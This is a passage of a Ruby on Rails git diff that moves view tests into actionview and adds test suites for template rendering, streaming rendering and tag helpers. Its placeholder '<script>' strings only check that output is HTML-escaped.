+    assert number_to_percentage("asdf".html_safe).html_safe?
+    assert number_to_percentage("1".html_safe).html_safe?
+
+    assert number_to_phone(1).html_safe?
+    assert_equal "<script></script>", number_to_phone("<script></script>")
+    assert number_to_phone("<script></script>").html_safe?
+    assert number_to_phone("asdf".html_safe).html_safe?
+    assert number_to_phone("1".html_safe).html_safe?
+
+    assert number_with_delimiter(1).html_safe?
+    assert !number_with_delimiter("<script></script>").html_safe?
+    assert number_with_delimiter("asdf".html_safe).html_safe?
+    assert number_with_delimiter("1".html_safe).html_safe?
+  end
+
+  def test_number_helpers_should_raise_error_if_invalid_when_specified
+    exception = assert_raise InvalidNumberError do
+      number_to_human("x", raise: true)
+    end
+    assert_equal "x", exception.number
+
+    exception = assert_raise InvalidNumberError do
+      number_to_human_size("x", raise: true)
+    end
+    assert_equal "x", exception.number
+
+    exception = assert_raise InvalidNumberError do
+      number_with_precision("x", raise: true)
+    end
+    assert_equal "x", exception.number
+
+    exception = assert_raise InvalidNumberError do
+      number_to_currency("x", raise: true)
+    end
+    assert_equal "x", exception.number
+
+    exception = assert_raise InvalidNumberError do
+      number_to_percentage("x", raise: true)
+    end
+    assert_equal "x", exception.number
+
+    exception = assert_raise InvalidNumberError do
+      number_with_delimiter("x", raise: true)
+    end
+    assert_equal "x", exception.number
+
+    exception = assert_raise InvalidNumberError do
+      number_to_phone("x", raise: true)
+    end
+    assert_equal "x", exception.number
+  end
+end
diff --git a/actionpack/test/template/output_buffer_test.rb b/actionview/test/template/output_buffer_test.rb
similarity index 100%
rename from actionpack/test/template/output_buffer_test.rb
rename to actionview/test/template/output_buffer_test.rb
diff --git a/actionpack/test/template/output_safety_helper_test.rb b/actionview/test/template/output_safety_helper_test.rb
similarity index 100%
rename from actionpack/test/template/output_safety_helper_test.rb
rename to actionview/test/template/output_safety_helper_test.rb
diff --git a/actionpack/test/template/record_identifier_test.rb b/actionview/test/template/record_identifier_test.rb
similarity index 100%
rename from actionpack/test/template/record_identifier_test.rb
rename to actionview/test/template/record_identifier_test.rb
diff --git a/actionpack/test/template/record_tag_helper_test.rb b/actionview/test/template/record_tag_helper_test.rb
similarity index 100%
rename from actionpack/test/template/record_tag_helper_test.rb
rename to actionview/test/template/record_tag_helper_test.rb
diff --git a/actionview/test/template/render_test.rb b/actionview/test/template/render_test.rb
new file mode 100644
index 0000000..ca508ab
--- /dev/null
+++ b/actionview/test/template/render_test.rb
@@ -0,0 +1,553 @@
+# encoding: utf-8
+require 'abstract_unit'
+require 'controller/fake_models'
+
+class TestController < ActionController::Base
+end
+
+module RenderTestCases
+  def setup_view(paths)
+    @assigns = { :secret => 'in the sauce' }
+    @view = ActionView::Base.new(paths, @assigns)
+    @controller_view = TestController.new.view_context
+
+    # Reload and register danish language for testing
+    I18n.reload!
+    I18n.backend.store_translations 'da', {}
+    I18n.backend.store_translations 'pt-BR', {}
+
+    # Ensure original are still the same since we are reindexing view paths
+    assert_equal ORIGINAL_LOCALES, I18n.available_locales.map {|l| l.to_s }.sort
+  end
+
+  def test_render_without_options
+    e = assert_raises(ArgumentError) { @view.render() }
+    assert_match(/You invoked render but did not give any of (.+) option./, e.message)
+  end
+
+  def test_render_file
+    assert_equal "Hello world!", @view.render(:file => "test/hello_world")
+  end
+
+  # Test if :formats, :locale etc. options are passed correctly to the resolvers.
+  def test_render_file_with_format
+    assert_match "<h1>No Comment</h1>", @view.render(:file => "comments/empty", :formats => [:html])
+    assert_match "<error>No Comment</error>", @view.render(:file => "comments/empty", :formats => [:xml])
+    assert_match "<error>No Comment</error>", @view.render(:file => "comments/empty", :formats => :xml)
+  end
+
+  def test_render_template_with_format
+    assert_match "<h1>No Comment</h1>", @view.render(:template => "comments/empty", :formats => [:html])
+    assert_match "<error>No Comment</error>", @view.render(:template => "comments/empty", :formats => [:xml])
+  end
+
+  def test_rendered_format_without_format
+    @view.render(:inline => "test")
+    assert_equal :html, @view.lookup_context.rendered_format
+  end
+
+  def test_render_partial_implicitly_use_format_of_the_rendered_template
+    @view.lookup_context.formats = [:json]
+    assert_equal "Hello world", @view.render(:template => "test/one", :formats => [:html])
+  end
+
+  def test_render_partial_implicitly_use_format_of_the_rendered_partial
+    @view.lookup_context.formats = [:html]
+    assert_equal "Third level", @view.render(:template => "test/html_template")
+  end
+
+  def test_render_partial_use_last_prepended_format_for_partials_with_the_same_names
+    @view.lookup_context.formats = [:html]
+    assert_equal "\nHTML Template, but JSON partial", @view.render(:template => "test/change_priority")
+  end
+
+  def test_render_template_with_a_missing_partial_of_another_format
+    @view.lookup_context.formats = [:html]
+    assert_raise ActionView::Template::Error, "Missing partial /_missing with {:locale=>[:en], :formats=>[:json], :handlers=>[:erb, :builder]}" do
+      @view.render(:template => "with_format", :formats => [:json])
+    end
+  end
+
+  def test_render_file_with_locale
+    assert_equal "<h1>Kein Kommentar</h1>", @view.render(:file => "comments/empty", :locale => [:de])
+    assert_equal "<h1>Kein Kommentar</h1>", @view.render(:file => "comments/empty", :locale => :de)
+  end
+
+  def test_render_template_with_locale
+    assert_equal "<h1>Kein Kommentar</h1>", @view.render(:template => "comments/empty", :locale => [:de])
+  end
+
+  def test_render_file_with_handlers
+    assert_equal "<h1>No Comment</h1>\n", @view.render(:file => "comments/empty", :handlers => [:builder])
+    assert_equal "<h1>No Comment</h1>\n", @view.render(:file => "comments/empty", :handlers => :builder)
+  end
+
+  def test_render_template_with_handlers
+    assert_equal "<h1>No Comment</h1>\n", @view.render(:template => "comments/empty", :handlers => [:builder])
+  end
+
+  def test_render_raw_template_with_handlers
+    assert_equal "<%= hello_world %>\n", @view.render(:template => "plain_text")
+  end
+
+  def test_render_raw_template_with_quotes
+    assert_equal %q;Here are some characters: !@#$%^&*()-="'}{`; + "\n", @view.render(:template => "plain_text_with_characters")
+  end
+
+  def test_render_ruby_template_with_handlers
+    assert_equal "Hello from Ruby code", @view.render(:template => "ruby_template")
+  end
+
+  def test_render_ruby_template_inline
+    assert_equal '4', @view.render(:inline => "(2**2).to_s", :type => :ruby)
+  end
+
+  def test_render_file_with_localization_on_context_level
+    old_locale, @view.locale = @view.locale, :da
+    assert_equal "Hey verden", @view.render(:file => "test/hello_world")
+  ensure
+    @view.locale = old_locale
+  end
+
+  def test_render_file_with_dashed_locale
+    old_locale, @view.locale = @view.locale, :"pt-BR"
+    assert_equal "Ola mundo", @view.render(:file => "test/hello_world")
+  ensure
+    @view.locale = old_locale
+  end
+
+  def test_render_file_at_top_level
+    assert_equal 'Elastica', @view.render(:file => '/shared')
+  end
+
+  def test_render_file_with_full_path
+    template_path = File.join(File.dirname(__FILE__), '../fixtures/test/hello_world')
+    assert_equal "Hello world!", @view.render(:file => template_path)
+  end
+
+  def test_render_file_with_instance_variables
+    assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_ivar")
+  end
+
+  def test_render_file_with_locals
+    locals = { :secret => 'in the sauce' }
+    assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_locals", :locals => locals)
+  end
+
+  def test_render_file_not_using_full_path_with_dot_in_path
+    assert_equal "The secret is in the sauce\n", @view.render(:file => "test/dot.directory/render_file_with_ivar")
+  end
+
+  def test_render_partial_from_default
+    assert_equal "only partial", @view.render("test/partial_only")
+  end
+
+  def test_render_partial
+    assert_equal "only partial", @view.render(:partial => "test/partial_only")
+  end
+
+  def test_render_partial_with_format
+    assert_equal 'partial html', @view.render(:partial => 'test/partial')
+  end
+
+  def test_render_partial_with_selected_format
+    assert_equal 'partial html', @view.render(:partial => 'test/partial', :formats => :html)
+    assert_equal 'partial js', @view.render(:partial => 'test/partial', :formats => [:js])
+  end
+
+  def test_render_partial_at_top_level
+    # file fixtures/_top_level_partial_only (not fixtures/test)
+    assert_equal 'top level partial', @view.render(:partial => '/top_level_partial_only')
+  end
+
+  def test_render_partial_with_format_at_top_level
+    # file fixtures/_top_level_partial.html (not fixtures/test, with format extension)
+    assert_equal 'top level partial html', @view.render(:partial => '/top_level_partial')
+  end
+
+  def test_render_partial_with_locals
+    assert_equal "5", @view.render(:partial => "test/counter", :locals => { :counter_counter => 5 })
+  end
+
+  def test_render_partial_with_locals_from_default
+    assert_equal "only partial", @view.render("test/partial_only", :counter_counter => 5)
+  end
+
+  def test_render_partial_with_invalid_name
+    e = assert_raises(ArgumentError) { @view.render(:partial => "test/200") }
+    assert_equal "The partial name (test/200) is not a valid Ruby identifier; " +
+      "make sure your partial name starts with a lowercase letter or underscore, " +
+      "and is followed by any combination of letters, numbers and underscores.", e.message
+  end
+
+  def test_render_partial_with_missing_filename
+    e = assert_raises(ArgumentError) { @view.render(:partial => "test/") }
+    assert_equal "The partial name (test/) is not a valid Ruby identifier; " +
+      "make sure your partial name starts with a lowercase letter or underscore, " +
+      "and is followed by any combination of letters, numbers and underscores.", e.message
+  end
+
+  def test_render_partial_with_incompatible_object
+    e = assert_raises(ArgumentError) { @view.render(:partial => nil) }
+    assert_equal "'#{nil.inspect}' is not an ActiveModel-compatible object. It must implement :to_partial_path.", e.message
+  end
+
+  def test_render_partial_with_hyphen
+    e = assert_raises(ArgumentError) { @view.render(:partial => "test/a-in") }
+    assert_equal "The partial name (test/a-in) is not a valid Ruby identifier; " +
+      "make sure your partial name starts with a lowercase letter or underscore, " +
+      "and is followed by any combination of letters, numbers and underscores.", e.message
+  end
+
+  def test_render_partial_with_errors
+    e = assert_raises(ActionView::Template::Error) { @view.render(:partial => "test/raise") }
+    assert_match %r!method.*doesnt_exist!, e.message
+    assert_equal "", e.sub_template_message
+    assert_equal "1", e.line_number
+    assert_equal "1: <%= doesnt_exist %>", e.annoted_source_code.strip
+    assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
+  end
+
+  def test_render_error_indentation
+    e = assert_raises(ActionView::Template::Error) { @view.render(:partial => "test/raise_indentation") }
+    error_lines = e.annoted_source_code.split("\n")
+    assert_match %r!error\shere!, e.message
+    assert_equal "11", e.line_number
+    assert_equal "     9: <p>Ninth paragraph</p>", error_lines.second
+    assert_equal "    10: <p>Tenth paragraph</p>", error_lines.third
+  end
+
+  def test_render_sub_template_with_errors
+    e = assert_raises(ActionView::Template::Error) { @view.render(:template => "test/sub_template_raise") }
+    assert_match %r!method.*doesnt_exist!, e.message
+    assert_equal "Trace of template inclusion: #{File.expand_path("#{FIXTURE_LOAD_PATH}/test/sub_template_raise.html.erb")}", e.sub_template_message
+    assert_equal "1", e.line_number
+    assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
+  end
+
+  def test_render_file_with_errors
+    e = assert_raises(ActionView::Template::Error) { @view.render(:file => File.expand_path("test/_raise", FIXTURE_LOAD_PATH)) }
+    assert_match %r!method.*doesnt_exist!, e.message
+    assert_equal "", e.sub_template_message
+    assert_equal "1", e.line_number
+    assert_equal "1: <%= doesnt_exist %>", e.annoted_source_code.strip
+    assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
+  end
+
+  def test_render_object
+    assert_equal "Hello: david", @view.render(:partial => "test/customer", :object => Customer.new("david"))
+  end
+
+  def test_render_object_with_array
+    assert_equal "[1, 2, 3]", @view.render(:partial => "test/object_inspector", :object => [1, 2, 3])
+  end
+
+  def test_render_partial_collection
+    assert_equal "Hello: davidHello: mary", @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), Customer.new("mary") ])
+  end
+
+  def test_render_partial_collection_as_by_string
+    assert_equal "david david davidmary mary mary",
+      @view.render(:partial => "test/customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => 'customer')
+  end
+
+  def test_render_partial_collection_as_by_symbol
+    assert_equal "david david davidmary mary mary",
+      @view.render(:partial => "test/customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :customer)
+  end
+
+  def test_render_partial_collection_without_as
+    assert_equal "local_inspector,local_inspector_counter",
+      @view.render(:partial => "test/local_inspector", :collection => [ Customer.new("mary") ])
+  end
+
+  def test_render_partial_with_empty_collection_should_return_nil
+    assert_nil @view.render(:partial => "test/customer", :collection => [])
+  end
+
+  def test_render_partial_with_nil_collection_should_return_nil
+    assert_nil @view.render(:partial => "test/customer", :collection => nil)
+  end
+
+  def test_render_partial_with_nil_values_in_collection
+    assert_equal "Hello: davidHello: Anonymous", @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), nil ])
+  end
+
+  def test_render_partial_with_layout_using_collection_and_template
+    assert_equal "<b>Hello: Amazon</b><b>Hello: Yahoo</b>", @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial', :collection => [ Customer.new("Amazon"), Customer.new("Yahoo") ])
+  end
+
+  def test_render_partial_with_layout_using_collection_and_template_makes_current_item_available_in_layout
+    assert_equal '<b class="amazon">Hello: Amazon</b><b class="yahoo">Hello: Yahoo</b>',
+      @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial_with_object', :collection => [ Customer.new("Amazon"), Customer.new("Yahoo") ])
+  end
+
+  def test_render_partial_with_layout_using_collection_and_template_makes_current_item_counter_available_in_layout
+    assert_equal '<b data-counter="0">Hello: Amazon</b><b data-counter="1">Hello: Yahoo</b>',
+      @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial_with_object_counter', :collection => [ Customer.new("Amazon"), Customer.new("Yahoo") ])
+  end
+
+  def test_render_partial_with_layout_using_object_and_template_makes_object_available_in_layout
+    assert_equal '<b class="amazon">Hello: Amazon</b>',
+      @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial_with_object', :object => Customer.new("Amazon"))
+  end
+
+  def test_render_partial_with_empty_array_should_return_nil
+    assert_nil @view.render(:partial => [])
+  end
+
+  def test_render_partial_using_string
+    assert_equal "Hello: Anonymous", @controller_view.render('customer')
+  end
+
+  def test_render_partial_with_locals_using_string
+    assert_equal "Hola: david", @controller_view.render('customer_greeting', :greeting => 'Hola', :customer_greeting => Customer.new("david"))
+  end
+
+  def test_render_partial_with_object_uses_render_partial_path
+    assert_equal "Hello: lifo",
+      @controller_view.render(:partial => Customer.new("lifo"), :locals => {:greeting => "Hello"})
+  end
+
+  def test_render_partial_with_object_and_format_uses_render_partial_path
+    assert_equal "<greeting>Hello</greeting><name>lifo</name>",
+      @controller_view.render(:partial => Customer.new("lifo"), :formats => :xml, :locals => {:greeting => "Hello"})
+  end
+
+  def test_render_partial_using_object
+    assert_equal "Hello: lifo",
+      @controller_view.render(Customer.new("lifo"), :greeting => "Hello")
+  end
+
+  def test_render_partial_using_collection
+    customers = [ Customer.new("Amazon"), Customer.new("Yahoo") ]
+    assert_equal "Hello: AmazonHello: Yahoo",
+      @controller_view.render(customers, :greeting => "Hello")
+  end
+
+  def test_render_partial_without_object_or_collection_does_not_generate_partial_name_local_variable
+    exception = assert_raises ActionView::Template::Error do
+      @controller_view.render("partial_name_local_variable")
+    end
+    assert_match "undefined local variable or method `partial_name_local_variable'", exception.message
+  end
+
+  # TODO: The reason for this test is unclear, improve documentation
+  def test_render_partial_and_fallback_to_layout
+    assert_equal "Before (Josh)\n\nAfter", @view.render(:partial => "test/layout_for_partial", :locals => { :name => "Josh" })
+  end
+
+  # TODO: The reason for this test is unclear, improve documentation
+  def test_render_missing_xml_partial_and_raise_missing_template
+    @view.formats = [:xml]
+    assert_raises(ActionView::MissingTemplate) { @view.render(:partial => "test/layout_for_partial") }
+  ensure
+    @view.formats = nil
+  end
+
+  def test_render_layout_with_block_and_other_partial_inside
+    render = @view.render(:layout => "test/layout_with_partial_and_yield") { "Yield!" }
+    assert_equal "Before\npartial html\nYield!\nAfter\n", render
+  end
+
+  def test_render_inline
+    assert_equal "Hello, World!", @view.render(:inline => "Hello, World!")
+  end
+
+  def test_render_inline_with_locals
+    assert_equal "Hello, Josh!", @view.render(:inline => "Hello, <%= name %>!", :locals => { :name => "Josh" })
+  end
+
+  def test_render_fallbacks_to_erb_for_unknown_types
+    assert_equal "Hello, World!", @view.render(:inline => "Hello, World!", :type => :bar)
+  end
+
+  CustomHandler = lambda do |template|
+    "@output_buffer = ''\n" +
+      "@output_buffer << 'source: #{template.source.inspect}'\n"
+  end
+
+  def test_render_inline_with_render_from_to_proc
+    ActionView::Template.register_template_handler :ruby_handler, :source.to_proc
+    assert_equal '3', @view.render(:inline => "(1 + 2).to_s", :type => :ruby_handler)
+  end
+
+  def test_render_inline_with_compilable_custom_type
+    ActionView::Template.register_template_handler :foo, CustomHandler
+    assert_equal 'source: "Hello, World!"', @view.render(:inline => "Hello, World!", :type => :foo)
+  end
+
+  def test_render_inline_with_locals_and_compilable_custom_type
+    ActionView::Template.register_template_handler :foo, CustomHandler
+    assert_equal 'source: "Hello, <%= name %>!"', @view.render(:inline => "Hello, <%= name %>!", :locals => { :name => "Josh" }, :type => :foo)
+  end
+
+  def test_render_knows_about_types_registered_when_extensions_are_checked_earlier_in_initialization
+    ActionView::Template::Handlers.extensions
+    ActionView::Template.register_template_handler :foo, CustomHandler
+    assert ActionView::Template::Handlers.extensions.include?(:foo)
+  end
+
+  def test_render_ignores_templates_with_malformed_template_handlers
+    ActiveSupport::Deprecation.silence do
+      %w(malformed malformed.erb malformed.html.erb malformed.en.html.erb).each do |name|
+        assert File.exist?(File.expand_path("#{FIXTURE_LOAD_PATH}/test/malformed/#{name}~")), "Malformed file (#{name}~) which should be ignored does not exists"
+        assert_raises(ActionView::MissingTemplate) { @view.render(:file => "test/malformed/#{name}") }
+      end
+    end
+  end
+
+  def test_render_with_layout
+    assert_equal %(<title></title>\nHello world!\n),
+      @view.render(:file => "test/hello_world", :layout => "layouts/yield")
+  end
+
+  def test_render_with_layout_which_has_render_inline
+    assert_equal %(welcome\nHello world!\n),
+      @view.render(:file => "test/hello_world", :layout => "layouts/yield_with_render_inline_inside")
+  end
+
+  def test_render_with_layout_which_renders_another_partial
+    assert_equal %(partial html\nHello world!\n),
+      @view.render(:file => "test/hello_world", :layout => "layouts/yield_with_render_partial_inside")
+  end
+
+  def test_render_layout_with_block_and_yield
+    assert_equal %(Content from block!\n),
+      @view.render(:layout => "layouts/yield_only") { "Content from block!" }
+  end
+
+  def test_render_layout_with_block_and_yield_with_params
+    assert_equal %(Yield! Content from block!\n),
+      @view.render(:layout => "layouts/yield_with_params") { |param| "#{param} Content from block!" }
+  end
+
+  def test_render_layout_with_block_which_renders_another_partial_and_yields
+    assert_equal %(partial html\nContent from block!\n),
+      @view.render(:layout => "layouts/partial_and_yield") { "Content from block!" }
+  end
+
+  def test_render_partial_and_layout_without_block_with_locals
+    assert_equal %(Before (Foo!)\npartial html\nAfter),
+      @view.render(:partial => 'test/partial', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
+  end
+
+  def test_render_partial_and_layout_without_block_with_locals_and_rendering_another_partial
+    assert_equal %(Before (Foo!)\npartial html\npartial with partial\n\nAfter),
+      @view.render(:partial => 'test/partial_with_partial', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
+  end
+
+  def test_render_layout_with_a_nested_render_layout_call
+    assert_equal %(Before (Foo!)\nBefore (Bar!)\npartial html\nAfter\npartial with layout\n\nAfter),
+      @view.render(:partial => 'test/partial_with_layout', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
+  end
+
+  def test_render_layout_with_a_nested_render_layout_call_using_block_with_render_partial
+    assert_equal %(Before (Foo!)\nBefore (Bar!)\n\n  partial html\n\nAfterpartial with layout\n\nAfter),
+      @view.render(:partial => 'test/partial_with_layout_block_partial', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
+  end
+
+  def test_render_layout_with_a_nested_render_layout_call_using_block_with_render_content
+    assert_equal %(Before (Foo!)\nBefore (Bar!)\n\n  Content from inside layout!\n\nAfterpartial with layout\n\nAfter),
+      @view.render(:partial => 'test/partial_with_layout_block_content', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
+  end
+
+  def test_render_partial_with_layout_raises_descriptive_error
+    e = assert_raises(ActionView::MissingTemplate) { @view.render(partial: 'test/partial', layout: true) }
+    assert_match "Missing partial /_true with", e.message
+  end
+
+  def test_render_with_nested_layout
+    assert_equal %(<title>title</title>\n\n<div id="column">column</div>\n<div id="content">content</div>\n),
+      @view.render(:file => "test/nested_layout", :layout => "layouts/yield")
+  end
+
+  def test_render_with_file_in_layout
+    assert_equal %(\n<title>title</title>\n\n),
+      @view.render(:file => "test/layout_render_file")
+  end
+
+  def test_render_layout_with_object
+    assert_equal %(<title>David</title>),
+      @view.render(:file => "test/layout_render_object")
+  end
+
+  def test_render_with_passing_couple_extensions_to_one_register_template_handler_function_call
+    ActionView::Template.register_template_handler :foo1, :foo2, CustomHandler
+    assert_equal @view.render(:inline => "Hello, World!", :type => :foo1), @view.render(:inline => "Hello, World!", :type => :foo2)
+  end
+
+  def test_render_throws_exception_when_no_extensions_passed_to_register_template_handler_function_call
+    assert_raises(ArgumentError) { ActionView::Template.register_template_handler CustomHandler }
+  end
+end
+
+class CachedViewRenderTest < ActiveSupport::TestCase
+  include RenderTestCases
+
+  # Ensure view path cache is primed
+  def setup
+    view_paths = ActionController::Base.view_paths
+    assert_equal ActionView::OptimizedFileSystemResolver, view_paths.first.class
+    setup_view(view_paths)
+  end
+
+  def teardown
+    GC.start
+  end
+end
+
+class LazyViewRenderTest < ActiveSupport::TestCase
+  include RenderTestCases
+
+  # Test the same thing as above, but make sure the view path
+  # is not eager loaded
+  def setup
+    path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
+    view_paths = ActionView::PathSet.new([path])
+    assert_equal ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH), view_paths.first
+    setup_view(view_paths)
+  end
+
+  def teardown
+    GC.start
+  end
+
+  def test_render_utf8_template_with_magic_comment
+    with_external_encoding Encoding::ASCII_8BIT do
+      result = @view.render(:file => "test/utf8_magic", :formats => [:html], :layouts => "layouts/yield")
+      assert_equal Encoding::UTF_8, result.encoding
+      assert_equal "\nРусский \nтекст\n\nUTF-8\nUTF-8\nUTF-8\n", result
+    end
+  end
+
+  def test_render_utf8_template_with_default_external_encoding
+    with_external_encoding Encoding::UTF_8 do
+      result = @view.render(:file => "test/utf8", :formats => [:html], :layouts => "layouts/yield")
+      assert_equal Encoding::UTF_8, result.encoding
+      assert_equal "Русский текст\n\nUTF-8\nUTF-8\nUTF-8\n", result
+    end
+  end
+
+  def test_render_utf8_template_with_incompatible_external_encoding
+    with_external_encoding Encoding::SHIFT_JIS do
+      e = assert_raises(ActionView::Template::Error) { @view.render(:file => "test/utf8", :formats => [:html], :layouts => "layouts/yield") }
+      assert_match 'Your template was not saved as valid Shift_JIS', e.original_exception.message
+    end
+  end
+
+  def test_render_utf8_template_with_partial_with_incompatible_encoding
+    with_external_encoding Encoding::SHIFT_JIS do
+      e = assert_raises(ActionView::Template::Error) { @view.render(:file => "test/utf8_magic_with_bare_partial", :formats => [:html], :layouts => "layouts/yield") }
+      assert_match 'Your template was not saved as valid Shift_JIS', e.original_exception.message
+    end
+  end
+
+  def with_external_encoding(encoding)
+    old = Encoding.default_external
+    silence_warnings { Encoding.default_external = encoding }
+    yield
+  ensure
+    silence_warnings { Encoding.default_external = old }
+  end
+end
diff --git a/actionpack/test/template/resolver_patterns_test.rb b/actionview/test/template/resolver_patterns_test.rb
similarity index 100%
rename from actionpack/test/template/resolver_patterns_test.rb
rename to actionview/test/template/resolver_patterns_test.rb
diff --git a/actionpack/test/template/sanitize_helper_test.rb b/actionview/test/template/sanitize_helper_test.rb
similarity index 100%
rename from actionpack/test/template/sanitize_helper_test.rb
rename to actionview/test/template/sanitize_helper_test.rb
diff --git a/actionview/test/template/streaming_render_test.rb b/actionview/test/template/streaming_render_test.rb
new file mode 100644
index 0000000..8a24d78
--- /dev/null
+++ b/actionview/test/template/streaming_render_test.rb
@@ -0,0 +1,108 @@
+# encoding: utf-8
+require 'abstract_unit'
+
+class TestController < ActionController::Base
+end
+
+class FiberedTest < ActiveSupport::TestCase
+  def setup
+    view_paths = ActionController::Base.view_paths
+    @assigns = { :secret => 'in the sauce', :name => nil }
+    @view = ActionView::Base.new(view_paths, @assigns)
+    @controller_view = TestController.new.view_context
+  end
+
+  def render_body(options)
+    @view.view_renderer.render_body(@view, options)
+  end
+
+  def buffered_render(options)
+    body = render_body(options)
+    string = ""
+    body.each do |piece|
+      string << piece
+    end
+    string
+  end
+
+  def test_streaming_works
+    content = []
+    body = render_body(:template => "test/hello_world", :layout => "layouts/yield")
+
+    body.each do |piece|
+      content << piece
+    end
+
+    assert_equal "<title>",      content[0]
+    assert_equal "",             content[1]
+    assert_equal "</title>\n",   content[2]
+    assert_equal "Hello world!", content[3]
+    assert_equal "\n",           content[4]
+  end
+
+  def test_render_file
+    assert_equal "Hello world!", buffered_render(:file => "test/hello_world")
+  end
+
+  def test_render_file_with_locals
+    locals = { :secret => 'in the sauce' }
+    assert_equal "The secret is in the sauce\n", buffered_render(:file => "test/render_file_with_locals", :locals => locals)
+  end
+
+  def test_render_partial
+    assert_equal "only partial", buffered_render(:partial => "test/partial_only")
+  end
+
+  def test_render_inline
+    assert_equal "Hello, World!", buffered_render(:inline => "Hello, World!")
+  end
+
+  def test_render_without_layout
+    assert_equal "Hello world!", buffered_render(:template => "test/hello_world")
+  end
+
+  def test_render_with_layout
+    assert_equal %(<title></title>\nHello world!\n),
+      buffered_render(:template => "test/hello_world", :layout => "layouts/yield")
+  end
+
+  def test_render_with_layout_which_has_render_inline
+    assert_equal %(welcome\nHello world!\n),
+      buffered_render(:template => "test/hello_world", :layout => "layouts/yield_with_render_inline_inside")
+  end
+
+  def test_render_with_layout_which_renders_another_partial
+    assert_equal %(partial html\nHello world!\n),
+      buffered_render(:template => "test/hello_world", :layout => "layouts/yield_with_render_partial_inside")
+  end
+
+  def test_render_with_nested_layout
+    assert_equal %(<title>title</title>\n\n<div id="column">column</div>\n<div id="content">content</div>\n),
+      buffered_render(:template => "test/nested_layout", :layout => "layouts/yield")
+  end
+
+  def test_render_with_file_in_layout
+    assert_equal %(\n<title>title</title>\n\n),
+      buffered_render(:template => "test/layout_render_file")
+  end
+
+  def test_render_with_handler_without_streaming_support
+    assert_match "<p>This is grand!</p>", buffered_render(:template => "test/hello")
+  end
+
+  def test_render_with_streaming_multiple_yields_provide_and_content_for
+    assert_equal "Yes, \nthis works\n like a charm.",
+      buffered_render(:template => "test/streaming", :layout => "layouts/streaming")
+  end
+
+  def test_render_with_streaming_with_fake_yields_and_streaming_buster
+    assert_equal "This won't look\n good.",
+      buffered_render(:template => "test/streaming_buster", :layout => "layouts/streaming")
+  end
+
+  def test_render_with_nested_streaming_multiple_yields_provide_and_content_for
+    assert_equal "?Yes, \n\nthis works\n\n? like a charm.",
+      buffered_render(:template => "test/nested_streaming", :layout => "layouts/streaming")
+  end
+
+end
diff --git a/actionview/test/template/tag_helper_test.rb b/actionview/test/template/tag_helper_test.rb
new file mode 100644
index 0000000..fb016a5
--- /dev/null
+++ b/actionview/test/template/tag_helper_test.rb
@@ -0,0 +1,134 @@
+require 'abstract_unit'
+
+class TagHelperTest < ActionView::TestCase
+  include RenderERBUtils
+
+  tests ActionView::Helpers::TagHelper
+
+  def test_tag
+    assert_equal "<br />", tag("br")
+    assert_equal "<br clear=\"left\" />", tag(:br, :clear => "left")
+    assert_equal "<br>", tag("br", nil, true)
+  end
+
+  def test_tag_options
+    str = tag("p", "class" => "show", :class => "elsewhere")
+    assert_match(/class="show"/, str)
+    assert_match(/class="elsewhere"/, str)
+  end
+
+  def test_tag_options_rejects_nil_option
+    assert_equal "<p />", tag("p", :ignored => nil)
+  end
+
+  def test_tag_options_accepts_false_option
+    assert_equal "<p value=\"false\" />", tag("p", :value => false)
+  end
+
+  def test_tag_options_accepts_blank_option
+    assert_equal "<p included=\"\" />", tag("p", :included => '')
+  end
+
+  def test_tag_options_converts_boolean_option
+    assert_dom_equal '<p disabled="disabled" itemscope="itemscope" multiple="multiple" readonly="readonly" allowfullscreen="allowfullscreen" seamless="seamless" typemustmatch="typemustmatch" sortable="sortable" default="default" inert="inert" truespeed="truespeed" />',
+      tag("p", :disabled => true, :itemscope => true, :multiple => true, :readonly => true, :allowfullscreen => true, :seamless => true, :typemustmatch => true, :sortable => true, :default => true, :inert => true, :truespeed => true)
+  end
+
+  def test_content_tag
+    assert_equal "<a href=\"create\">Create</a>", content_tag("a", "Create", "href" => "create")
+    assert content_tag("a", "Create", "href" => "create").html_safe?
+    assert_equal content_tag("a", "Create", "href" => "create"),
+                 content_tag("a", "Create", :href => "create")
+    assert_equal "<p><script>evil_js</script></p>",
+                 content_tag(:p, '<script>evil_js</script>')
+    assert_equal "<p><script>evil_js</script></p>",
+                 content_tag(:p, '<script>evil_js</script>', nil, false)
+  end
+
+  def test_content_tag_with_block_in_erb
+    buffer = render_erb("<%= content_tag(:div) do %>Hello world!<% end %>")
+    assert_dom_equal "<div>Hello world!</div>", buffer
+  end
+
+  def test_content_tag_with_block_and_options_in_erb
+    buffer = render_erb("<%= content_tag(:div, :class => 'green') do %>Hello world!<% end %>")
+    assert_dom_equal %(<div class="green">Hello world!</div>), buffer
+  end
+
+  def test_content_tag_with_block_and_options_out_of_erb
+    assert_dom_equal %(<div class="green">Hello world!</div>), content_tag(:div, :class => "green") { "Hello world!" }
+  end
+
+  def test_content_tag_with_block_and_options_outside_out_of_erb
+    assert_equal content_tag("a", "Create", :href => "create"),
+                 content_tag("a", "href" => "create") { "Create" }
+  end
+
+  def test_content_tag_nested_in_content_tag_out_of_erb
+    assert_equal content_tag("p", content_tag("b", "Hello")),
+                 content_tag("p") { content_tag("b", "Hello") },
+                 output_buffer
+  end
+
+  def test_content_tag_nested_in_content_tag_in_erb
